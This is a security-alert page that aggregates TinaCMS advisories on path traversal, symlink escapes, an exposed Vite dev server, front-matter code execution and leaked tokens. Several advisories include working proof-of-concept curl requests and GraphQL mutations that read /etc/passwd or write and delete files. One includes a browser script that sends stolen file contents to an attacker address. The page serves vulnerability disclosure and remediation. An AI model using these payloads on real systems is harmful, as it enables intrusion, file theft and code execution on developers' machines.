-Infinity
0

Vendor Risk Score

See how ssw compares to other vendors in security performance

View Risk Score →
Severity
8.8
Path Traversal
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

@tinacms/graphql uses string-based path containment checks in FilesystemBridge:

- path.resolve(path.join(baseDir, filepath)) - startsWith(resolvedBase + path.sep)

That blocks plain ../ traversal, but it does not resolve symlink or junction targets. If a symlink/junction already exists under the allowed content root, a path like content/posts/pivot/owned.md is still considered "inside" the base even though the real filesystem target can be outside it.

As a result, FilesystemBridge.get(), put(), delete(), and glob() can operate on files outside the intended root.

Details

The current bridge validation is:

ts function assertWithinBase(filepath: string, baseDir: string): string { const resolvedBase = path.resolve(baseDir); const resolved = path.resolve(path.join(baseDir, filepath)); if ( resolved !== resolvedBase && !resolved.startsWith(resolvedBase + path.sep) ) { throw new Error( Path traversal detected: "${filepath}" escapes the base directory ); } return resolved; }

But the bridge then performs real filesystem I/O on the resulting path:

ts public async get(filepath: string) { const resolved = assertWithinBase(filepath, this.outputPath); return (await fs.readFile(resolved)).toString(); }

public async put(filepath: string, data: string, basePathOverride?: string) { const basePath = basePathOverride || this.outputPath; const resolved = assertWithinBase(filepath, basePath); await fs.outputFile(resolved, data); }

public async delete(filepath: string) { const resolved = assertWithinBase(filepath, this.outputPath); await fs.remove(resolved); }

This is a classic realpath gap:

1. validation checks the lexical path string 2. the filesystem follows the link target during I/O 3. the actual target can be outside the intended root

This is reachable from Tina's GraphQL/local database flow. The resolver builds a validated path from user-controlled relativePath, but that validation is also string-based:

ts const realPath = path.join(collection.path, relativePath); this.validatePath(realPath, collection, relativePath);

Database write and delete operations then call the bridge:

ts await this.bridge.put(normalizedPath, stringifiedFile); ... await this.bridge.delete(normalizedPath);

Local Reproduction

This was verified llocally with a real junction on Windows, which exercises the same failure mode as a symlink on Unix-like systems.

Test layout:

- content root: D:\bugcrowd\tinacms\temp\junction-repro4 - allowed collection path: content/posts - junction inside collection: content/posts/pivot -> D:\bugcrowd\tinacms\temp\junction-repro4\outside - file outside content root: outside\secret.txt

Tina's current path-validation logic was applied and used to perform bridge-style read/write operations through the junction.

Observed result:

json { "graphqlBridge": { "collectionPath": "content/posts", "requestedRelativePath": "pivot/owned.md", "validatedRealPath": "content\\posts\\pivot\\owned.md", "bridgeResolvedPath": "D:\\bugcrowd\\tinacms\\temp\\junction-repro4\\content\\posts\\pivot\\owned.md", "bridgeRead": "TOPSECRETFROMOUTSIDE\\r\\n", "outsideGraphqlWriteExists": true, "outsideGraphqlWriteContents": "GRAPHQLESCAPE" } }

That is the critical point:

- the path was accepted as inside content/posts - the bridge read outside\secret.txt - the bridge wrote outside\owned.md

So the current containment check does not actually constrain filesystem access to the configured content root once a link exists inside that tree.

Impact

- Arbitrary file read/write outside the configured content root - Potential delete outside the configured content root via the same assertWithinBase() gap in delete() - Breaks the assumptions of the recent path-traversal fixes because only lexical traversal is blocked - Practical attack chains where the content tree contains a committed symlink/junction, or an attacker can cause one to exist before issuing GraphQL/content operations

The exact network exploitability depends on how the application exposes Tina's GraphQL/content operations, but the underlying bridge bug is real and independently security-relevant.

Recommended Fix

The containment check needs to compare canonical filesystem paths, not just string-normalized paths.

For example:

1. resolve the base with fs.realpath() 2. resolve the candidate path's parent with fs.realpath() 3. reject any request whose real target path escapes the real base 4. for write operations, carefully canonicalize the nearest existing parent directory before creating the final file

In short: use realpath-aware containment checks for every filesystem sink, not path.resolve(...).startsWith(...) alone.

Resources

- packages/@tinacms/graphql/src/database/bridge/filesystem.ts - packages/@tinacms/graphql/src/database/index.ts - packages/@tinacms/graphql/src/resolver/index.ts

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
Path Traversal
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

@tinacms/cli recently added lexical path-traversal checks to the dev media routes, but the implementation still validates only the path string and does not resolve symlink or junction targets.

If a link already exists under the media root, Tina accepts a path like pivot/written-from-media.txt as "inside" the media directory and then performs real filesystem operations through that link target. This allows out-of-root media listing and write access, and the same root cause also affects delete.

Details

The dev media handlers validate user-controlled paths with:

ts function resolveWithinBase(userPath: string, baseDir: string): string { const resolvedBase = path.resolve(baseDir); const resolved = path.resolve(path.join(baseDir, userPath)); if (resolved === resolvedBase) { return resolvedBase; } if (resolved.startsWith(resolvedBase + path.sep)) { return resolved; } throw new PathTraversalError(userPath); }

function resolveStrictlyWithinBase(userPath: string, baseDir: string): string { const resolvedBase = path.resolve(baseDir) + path.sep; const resolved = path.resolve(path.join(baseDir, userPath)); if (!resolved.startsWith(resolvedBase)) { throw new PathTraversalError(userPath); } return resolved; }

But the validated path is then used directly for real filesystem access:

ts filesStr = await fs.readdir(validatedPath); ... await fs.ensureDir(path.dirname(saveTo)); file.pipe(fs.createWriteStream(saveTo)); ... await fs.remove(file);

This does not account for symlinks/junctions already present below the media root. A path such as pivot/secret.txt can be lexically inside the media directory while the filesystem target is outside it.

Local Reproduction

I verified this locally with a real junction on Windows.

Test layout:

- media root: D:\bugcrowd\tinacms\temp\junction-repro4\public\uploads - junction under media root: public\uploads\pivot -> D:\bugcrowd\tinacms\temp\junction-repro4\outside - file outside the media root: outside\secret.txt

Tina's current media-path validation logic was applied and used to perform the same list/write operations the route handlers use.

Observed result:

json { "media": { "base": "D:\\bugcrowd\\tinacms\\temp\\junction-repro4\\public\\uploads", "resolvedListPath": "D:\\bugcrowd\\tinacms\\temp\\junction-repro4\\public\\uploads\\pivot", "listedEntries": [ "secret.txt" ], "resolvedWritePath": "D:\\bugcrowd\\tinacms\\temp\\junction-repro4\\public\\uploads\\pivot\\written-from-media.txt", "outsideWriteExists": true, "outsideWriteContents": "MEDIAESCAPE" } }

This shows the problem clearly:

- the path validator accepted pivot - listing revealed a file from outside the media root - writing to pivot/written-from-media.txt created outside\written-from-media.txt

The delete path uses the same flawed containment model and should be hardened at the same time.

Impact

- Out-of-root file listing via /media/list/... - Out-of-root file write via /media/upload/... - Likely out-of-root file delete via /media/... DELETE, using the same path-validation gap - Bypass of the recent path traversal hardening for any deployment whose media tree contains a link to another location

This is especially relevant in development and self-hosted workflows where the media directory may contain symlinks or junctions intentionally or via repository content.

Recommended Fix

Harden media path validation with canonical filesystem checks:

1. resolve the real base path with fs.realpath() 2. resolve the real target path, or for writes the nearest existing parent 3. compare canonical paths rather than lexical strings 4. reject any operation that traverses through a symlink/junction to leave the real media root

path.resolve(...).startsWith(...) is not sufficient for filesystem security on linked paths.

Resources

- packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts - packages/@tinacms/cli/src/server/models/media.ts - packages/@tinacms/cli/src/utils/path.ts

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary A Path Traversal vulnerability in @tinacms/graphql allows unauthenticated users to write and overwrite arbitrary files within the project root. This is achieved by manipulating the relativePath parameter in GraphQL mutations. The impact includes the ability to replace critical server configuration files and potentially execute arbitrary commands by sabotaging build scripts.

Details The vulnerability exists in the path validation logic within @tinacms/graphql. Specifically, the regex-based validation in getValidatedPath fails to recognize backslashes (\) as directory separators on non-Windows platforms (Mac/Linux). An attacker can provide a path like x\..\..\..\package.json, which bypasses the validation check but is subsequently treated as a traversal path during file I/O operations by the underlying fs modules and path normalization utilities.

Incriminated code areas: - packages/@tinacms/graphql/src/database/bridge/filesystem.ts: assertWithinBase function. - packages/@tinacms/graphql/src/resolver/index.ts: getValidatedPath function.

PoC 1. Start the TinaCMS development server. 2. Send a malicious GraphQL mutation to overwrite a project file (e.g., package.json):

bash curl -X POST http://localhost:4001/graphql \ -H "Content-Type: application/json" \ -d '{"query": "mutation { updateDocument(collection: \"global\", relativePath: \"x\\\\..\\\\..\\\\..\\\\package.json\", params: { global: { header: { name: \"OVERWRITTEN\" } } }) { typename } }"}'

3. Observe that the root package.json has been replaced with the provided payload.

<img width="1424" height="516" alt="2026-03-1512-24-05 PM" src="https://github.com/user-attachments/assets/9fdf94ce-2183-4a24-9cd9-48f21deb9768" />

<img width="1387" height="774" alt="2026-03-1512-27-33 PM" src="https://github.com/user-attachments/assets/676f083b-f934-4cf2-978b-bb2fabee0216" />

Impact This is an Arbitrary File Write vulnerability. Any unauthenticated user with network access to the GraphQL API can: - Overwrite critical server configuration files (e.g., package.json, tsconfig.json). - Host malicious scripts in the public/ directory for client-side attacks. - Perform Arbitrary Code Execution by modifying build scripts or server-side logic files that are subsequently executed by the environment.

Weaknesses: - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - CWE-73: External Control of File Name or Path

1 / 2
Source: GitHub
First published (updated )
Severity
6.2
Infoleak
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary The TinaCMS CLI dev server configures Vite with server.fs.strict: false, which disables Vite's built-in filesystem access restriction. This allows any unauthenticated attacker who can reach the dev server to read arbitrary files on the host system

Details When running tinacms dev, the CLI starts a Vite dev server configured in: packages/@tinacms/cli/src/next/vite/index.ts server: { host: configManager.config?.build?.host ?? false, ... fs: { strict: false, // Disables Vite's filesystem access restriction }, }, TinaCMS middleware only intercepts specific route prefixes (/media/, /graphql, /altair, /searchIndex). Any request to a path outside these routes falls through to Vite's default static file handler, which will serve the file directly from the absolute path on the filesystem. Additionally, the server enables permissive CORS (cors() with no origin restriction), which may further facilitate browser-based exploitation such as DNS rebinding attacks.

PoC

Prerequisites: TinaCMS CLI dev server running (default port 4001).

- Read system files directly: curl http://localhost:4001/etc/passwd <img width="705" height="332" alt="image" src="https://github.com/user-attachments/assets/6fd0e1c7-a549-40c8-bc81-af9c343f52a0" />

curl http://localhost:4001/etc/hostname <img width="631" height="41" alt="image" src="https://github.com/user-attachments/assets/bd103dc3-d4c3-4774-8007-b55de3fc2a9e" /> Vite resolves and serves the absolute path directly from the filesystem.

Impact Any developer running tinacms dev in an environment where the dev server port is reachable by an attacker. This includes:

- Cloud IDEs (GitHub Codespaces, Gitpod) where ports are automatically forwarded and publicly accessible

- Docker or VM setups with port forwarding configured

- Misconfigured environments binding to 0.0.0.0 via the build.host config option

- Systems targeted via DNS rebinding attacks, leveraging the unrestricted CORS policy

- Local environments with malicious dependencies running on the same machine

An attacker who can reach port 4001 can:

- Read any file readable by the server process (/etc/passwd, /etc/shadow, SSH private keys)

- Exfiltrate environment variables and secrets via /proc/self/environ

- Access cloud credentials and API keys from configuration files

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
Path Traversal
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H

Affected Package

| Field | Value | |-------|-------| | Package | @tinacms/cli | | Version | 2.0.5 (latest at time of discovery) | | Vulnerable File | packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts | | Vulnerable Lines | 42-43 |

---

Summary

A path traversal vulnerability (CWE-22) exists in the TinaCMS development server's media upload handler. The code at media.ts:42-43 joins user-controlled path segments using path.join() without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem.

Attack Vector: Network (HTTP POST request) Impact: Arbitrary file write, potential Remote Code Execution

---

Details

Vulnerable Code Location

File: packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts Lines: 42-43

typescript bb.on('file', async (name, file, info) => { const fullPath = decodeURI(req.url?.slice('/media/upload/'.length)); // Line 42 const saveTo = path.join(mediaFolder, ...fullPath.split('/')); // Line 43 // make sure the directory exists before writing the file await fs.ensureDir(path.dirname(saveTo)); file.pipe(fs.createWriteStream(saveTo)); });

Root Cause

The path.join() function resolves .. (parent directory) segments in the path. When the user-supplied path contains traversal sequences like ../../../etc/passwd, these are resolved relative to the media folder, allowing escape to arbitrary filesystem locations.

Example: javascript const mediaFolder = '/app/public/uploads'; const maliciousInput = '../../../tmp/evil.txt'; const saveTo = path.join(mediaFolder, ...maliciousInput.split('/')); // Result: '/tmp/evil.txt' - OUTSIDE the media folder!

Additional Affected Endpoints

The same vulnerability pattern exists in:

1. Delete Handler (handleDelete, lines 29-33) - Arbitrary file deletion 2. List Handler (handleList, lines 16-27) + MediaModel.listMedia - Directory enumeration 3. MediaModel.deleteMedia (lines 201-217) - Arbitrary file deletion

Similar code also exists in the Express version at: - packages/@tinacms/cli/src/server/routes/index.ts - packages/@tinacms/cli/src/server/models/media.ts

---

PoC

Quick Verification (No Server Required)

This Node.js script directly tests the vulnerable code logic:

javascript #!/usr/bin/env node / TinaCMS Path Traversal Vulnerability - Direct Code Test Run: node test-vulnerability.js /

const path = require('path'); const fs = require('fs');

// Simulated configuration (matches typical TinaCMS setup) const rootPath = '/tmp/tinacms-test'; const publicFolder = 'public'; const mediaRoot = 'uploads'; const mediaFolder = path.join(rootPath, publicFolder, mediaRoot);

// Setup test directories fs.mkdirSync(path.join(rootPath, publicFolder, mediaRoot), { recursive: true }); fs.mkdirSync('/tmp/target-dir', { recursive: true });

console.log(Media folder: ${mediaFolder});

// Simulate vulnerable code from media.ts:42-43 function vulnerableUpload(reqUrl) { const fullPath = decodeURI(reqUrl.slice('/media/upload/'.length)); const saveTo = path.join(mediaFolder, ...fullPath.split('/')); return saveTo; }

// Test cases const tests = [ { url: '/media/upload/image.png', desc: 'Normal upload' }, { url: '/media/upload/../../../tmp/target-dir/evil.txt', desc: 'Path traversal' }, ];

tests.forEach(test => { const result = vulnerableUpload(test.url); const isVuln = !path.resolve(result).startsWith(path.resolve(mediaFolder)); console.log(\n${test.desc}:); console.log( Input: ${test.url}); console.log( Result: ${result}); console.log( Vulnerable: ${isVuln ? 'YES ⚠️' : 'No ✓'}); if (isVuln) { // Actually write the file to prove it works fs.mkdirSync(path.dirname(result), { recursive: true }); fs.writeFileSync(result, PWNED at ${new Date().toISOString()}); console.log( File written: ${fs.existsSync(result)}); } });

// Cleanup fs.rmSync(rootPath, { recursive: true, force: true });

Output

Media folder: /tmp/tinacms-test/public/uploads

Normal upload: Input: /media/upload/image.png Result: /tmp/tinacms-test/public/uploads/image.png Vulnerable: No ✓

Path traversal: Input: /media/upload/../../../tmp/target-dir/evil.txt Result: /tmp/tmp/target-dir/evil.txt Vulnerable: YES ⚠️ File written: true

The file was successfully written to /tmp/tmp/target-dir/evil.txt, which is completely outside the intended media folder at /tmp/tinacms-test/public/uploads.

Important Note: HTTP Layer vs Code Vulnerability

I want to be transparent about my findings:

What I observed: - When testing via HTTP requests against the Vite dev server, path traversal sequences (../) are normalized by Node.js/Vite's HTTP layer before reaching the vulnerable code - This means direct HTTP exploitation like curl POST /media/upload/../../../tmp/evil.txt is mitigated in the default configuration

Why this is still a valid vulnerability that should be fixed:

1. The code itself has no validation - If the path reaches the handler (via any vector), it will be exploited 2. Defense-in-depth principle - Security should not rely solely on HTTP normalization 3. Inconsistent protection - Your GraphQL layer (addPendingDocument) explicitly validates paths and rejects ../ (see test at packages/@tinacms/graphql/tests/pending-document-validation/index.test.ts:59), but the media endpoints don't have equivalent protection 4. Different deployment contexts: - Reverse proxies (nginx, Apache) with proxypass may preserve raw paths - Custom server configurations - Future refactoring that uses this code differently 5. The parseMediaFolder helper (line 66-74) shows intent to restrict paths - the upload handler should have similar restrictions 6. Express version also affected - packages/@tinacms/cli/src/server/routes/index.ts has the same pattern

---

Evidence That Path Traversal Should Be Blocked

Your codebase already shows that path traversal is considered a security issue:

typescript // From: packages/@tinacms/graphql/tests/pending-document-validation/index.test.ts:52-70 it('handles validation error for invalid path format', async () => { const { query } = await setupMutation(dirname, config);

const invalidPathMutation = mutation { addPendingDocument( collection: "post" relativePath: "../invalid-path.md" // <-- Path traversal is rejected! ) { typename } } ;

const result = await query({ query: invalidPathMutation, variables: {} });

expect(result.errors).toBeDefined(); expect(result.errors?.length).toBeGreaterThan(0); });

This test explicitly verifies that ../invalid-path.md is rejected in the GraphQL layer. The media upload endpoints should have the same protection.

---

Impact

Who is Affected

- Developers running TinaCMS in development mode - Any deployment exposing the TinaCMS dev server API - Particularly concerning if dev servers are exposed to networks (common for mobile testing)

Potential Attack Scenarios

1. Remote Code Execution: Write malicious files to executable locations - Overwrite ~/.ssh/authorizedkeys for SSH access - Modify application source code - Create cron jobs or systemd services

2. Denial of Service: Delete critical application or system files

3. Information Disclosure: List directory contents outside the media folder

CVSS Score Estimate

CVSS 3.1 Base Score: 8.1 (High) - Attack Vector: Network (AV:N) - Attack Complexity: Low (AC:L) - Privileges Required: None (PR:N) - User Interaction: None (UI:N) - Scope: Unchanged (S:U) - Confidentiality: None (C:N) - Integrity: High (I:H) - Availability: High (A:H)

---

Recommended Fix

Add path validation to ensure the resolved path stays within the media directory:

typescript import path from 'path';

const handlePost = async function (req, res) { const bb = busboy({ headers: req.headers });

bb.on('file', async (name, file, info) => { const fullPath = decodeURI(req.url?.slice('/media/upload/'.length)); const saveTo = path.join(mediaFolder, ...fullPath.split('/'));

// ✅ SECURITY FIX: Validate path stays within media folder const resolvedPath = path.resolve(saveTo); const resolvedMediaFolder = path.resolve(mediaFolder);

if (!resolvedPath.startsWith(resolvedMediaFolder + path.sep)) { res.statusCode = 403; res.end(JSON.stringify({ error: 'Invalid file path' })); return; }

await fs.ensureDir(path.dirname(saveTo)); file.pipe(fs.createWriteStream(saveTo)); }); // ... rest of handler };

The same fix should be applied to: - handleDelete function - handleList function - MediaModel.listMedia method - MediaModel.deleteMedia method - Express router in packages/@tinacms/cli/src/server/

Alternative: Create a Validation Helper

typescript function validateMediaPath(userPath: string, mediaFolder: string): string { const resolved = path.resolve(path.join(mediaFolder, ...userPath.split('/'))); const resolvedBase = path.resolve(mediaFolder); if (!resolved.startsWith(resolvedBase + path.sep) && resolved !== resolvedBase) { throw new Error('Path traversal detected'); } return resolved; }

---

References

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - OWASP Path Traversal - Node.js path.join() Documentation - OWASP Testing Guide - Path Traversal

1 / 2
Source: GitHub
First published (updated )
Severity
8.4
Path Traversal
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.

Details When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:

- /media/list/

- /media/upload/

- /media/

These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.

Vulnerable code bb.on('file', async (name, file, info) => { const fullPath = decodeURI(req.url?.slice('/media/upload/'.length)); const saveTo = path.join(mediaFolder, ...fullPath.split('/')); // No validation that saveTo remains within mediaFolder await fs.ensureDir(path.dirname(saveTo)); file.pipe(fs.createWriteStream(saveTo)); }); PoC Arbitrary File Read curl "http://localhost:4001/media/list/../../../etc/passwd"

Result:

<img width="889" height="280" alt="image(1)" src="https://github.com/user-attachments/assets/a878a86a-71db-46ed-abda-3d4ddba692e0" />

Arbitrary File Write echo "ATTACKERCONTROLLEDCONTENT" > /tmp/payload.txt

curl --path-as-is -X POST \ "http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \ -F "file=@/tmp/payload.txt" cat /tmp/pwned.txt Result: <img width="1320" height="84" alt="image(8)" src="https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c" />

Arbitrary File Delete echo "deleteme" > /tmp/delete-test.txt cat /tmp/delete-test.txt # confirms file exists curl --path-as-is -X DELETE \ "http://localhost:4001/media/../../../../../../tmp/delete-test.txt" cat /tmp/delete-test.txt # "No such file or directory" <img width="1135" height="105" alt="image" src="https://github.com/user-attachments/assets/64c24b83-0259-4a12-969d-98c8e8cc81ca" />

Impact

An attacker who can reach the TinaCMS CLI dev server can:

- Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)

- Write arbitrary files anywhere writable by the server process

- Delete or overwrite files, depending on endpoint usage

- Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files

Attack Surface

The dev server binds to localhost by default, but exploitation is realistic in:

- Cloud IDEs (Codespaces, Gitpod)

- Docker or VM setups with port forwarding

- Misconfigured dev environments binding to 0.0.0.0

- Local malware or malicious dependencies

The server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.

Recommended Fix

- Resolve paths to absolute form

- Enforce that resolved paths remain within the media root

- Reject .. path segments and absolute paths

- Consider authentication or token protection for dev server endpoints

1 / 2
Source: GitHub
First published (updated )
Severity
9.7
Path Traversal, XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: ) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.

Details The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:

- packages/@tinacms/cli/src/server/server.ts: app.use(cors());

- packages/@tinacms/cli/src/next/vite/plugins.ts: server.middlewares.use(cors()); When combined with the path traversal vulnerability, this creates a complete attack chain. Attack Scenario

Prerequisites 1. Developer runs tinacms dev (default port 4001) 2. Developer visits attacker's website while TinaCMS is running

No other conditions required - the dev server doesn't need to be: - Exposed to the internet - Bound to 0.0.0.0 - Accessible outside localhost

Attack Flow 1. Developer starts TinaCMS: tinacms dev 2. Developer browses the web (checking email, social media, etc.) 3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.) 4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files 5. Files are exfiltrated to attacker's server

PoC Attacker's Malicious Website (evil.html): <script> fetch('http://localhost:4001/../../../etc/passwd') .then(r => r.text()) .then(data => { // Exfil via GET const img = new Image(); img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data); }); </script> Demonstration

Step 1: Start TinaCMS dev server bash tinacms dev Server running on http://localhost:4001

Step 2: Host evil.html on attacker server bash python3 -m http.server 8000

Step 3: Developer visits http://attacker-server:8000/evil.html

Result: The browser makes cross-origin requests to localhost:4001. Because cors() returns Access-Control-Allow-Origin: , the browser allows the JavaScript to read the responses. Directory listings from outside the media directory are sent to the attacker's server. <img width="1900" height="366" alt="image" src="https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617" />

Impact Who is affected Every developer running tinacms dev is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.

What an attacker achieves By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:

1. Enumerate the developer's filesystem directory listings via /media/list/ with path traversal reveal file and folder names across the entire filesystem 2. Discover sensitive files locate .env, .git/config, SSH keys, cloud credentials, database configs 3. Write arbitrary files via /media/upload/ with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts 4. Delete arbitrary files via /media/ DELETE with path traversal

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Description

TinaCMS allows users to create, update, and delete content documents using relative file paths (relativePath, newRelativePath) via GraphQL mutations. Under certain conditions, these paths are combined with the collection path using path.join() without validating that the resolved path remains within the collection root directory.

Because path.join() does not prevent directory traversal, paths containing ../ sequences can escape the intended directory boundary.

Attack Vectors

1. File Creation: Create files outside the collection directory graphql createDocument( collection: "post" relativePath: "../../config/malicious.md" params: { post: { title: "malicious" } } )

2. File Move/Rename: Move existing files outside the collection graphql updateDocument( collection: "post" relativePath: "existing.md" params: { relativePath: "../../stolen.md" } )

3. File Deletion: Delete files outside the collection graphql deleteDocument( collection: "post" relativePath: "../../important-config.md" )

4. Folder Creation: Create folders outside the collection graphql createFolder( collection: "post" relativePath: "../../malicious-folder" )

Impact

An authenticated user with document mutation permissions can:

- Create content files outside collection boundaries (subject to schema validation) - Move or rename files outside collection boundaries - Delete content files outside collection boundaries - Read file contents via document retrieval mutations

Mitigating Factors

Several constraints limit the practical impact of this vulnerability:

1. Schema Validation: Created/updated content must conform to the collection's GraphQL schema. Attackers cannot write arbitrary file content—the params argument is validated against the generated mutation types (e.g., PostMutation).

2. Authentication Required: Exploitation requires authenticated access with CMS editor permissions. Anonymous users cannot access GraphQL mutations.

3. Git Tracking: In typical deployments, all file operations are tracked in git (either via GitHub API for Tina Cloud/self-hosted with GitProvider, or local filesystem changes). Malicious changes are visible in version control and can be reverted.

What This Vulnerability Does NOT Allow

- Writing arbitrary file content (content is schema-validated) - Silent/untracked file modifications (changes appear in git) - Unauthenticated access

Proof of Concept

See packages/@tinacms/graphql/tests/path-traversal-security/index.test.ts for automated tests demonstrating the vulnerability.

Manual reproduction: bash node -e " const path = require('path');

const collectionPath = 'content/posts'; const maliciousRelativePath = '../../OUTSIDE/poc.md';

const realPath = path.join(collectionPath, maliciousRelativePath); console.log('Resolved path:', realPath); // Output: OUTSIDE/poc.md (escaped content/posts) "

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary tinacms uses the gray-matter package in an insecure way allowing attackers that can control the content of the processed markdown files, e.g., blog posts, to execute arbitrary code.

Details The gray-matter package executes by default the code in the markdown file's front matter. tinacms does not change this behavior when process markdown file, e.g., by passing a custom engine property for js/javascript in the options object.

PoC 1. Create a tinacms app using the cli/documentation: npx create-tina-app@latest 2. Modify one of the blog posts to contain the following front matter: js ---js { "title": "Pawned" + console.log(require("fs").readFileSync("/etc/passwd").toString()) } --- 3. Start the tinacms server, e.g., with npm run dev 4. Observe the console of the server printing the password file, showing that attackers can execute arbitrary commands.

Impact RCE: attackers can execute arbitrary JavaScript code on the server hosting tinacms.

Feasibility Potential attack scenarios can be executed like this: Companies often have technical writers as contractors. These contractors produce md files, which they send over email or upload in a shared cloud folder. Developers download these files and upload them in tinacms's content folder. While this example might appear speculative or contrived, a general observation is that developers would be very surprised to find out that processing untrusted markdown files via tinacms = server-side code execution = complete machine take over. That is, tinacms users might not expect markdown files to contain anything else than data and gray-matter violates that assumption.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Impact Tina search token leaked via lock file (tina-lock.json) in TinaCMS. Sites building with @tinacms/cli < 1.6.2 that use a search token are impacted.

If your Tina-enabled website has search setup, you should rotate that key immediately.

Patches This issue has been patched in @tinacms/cli@1.6.2

Workarounds Upgrading, and rotating search token is required for the proper fix.

References https://github.com/tinacms/tinacms/pull/4758

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
Infoleak
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Tinacms is a Git-backed headless content management system with support for visual editing. Sites being built with @tinacms/cli >= 1.0.0 && < 1.0.9 which store sensitive values in the process.env variable are impacted. These values will be added in plaintext to the index.js file. If you're on a version prior to 1.0.0 this vulnerability does not affect you. If you are affected and your Tina-enabled website has sensitive credentials stored as environment variables (eg. Algolia API keys) you should rotate those keys immediately. This issue has been patched in @tinacms/cli@1.0.9. Users are advised to upgrade. There are no known workarounds for this issue.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203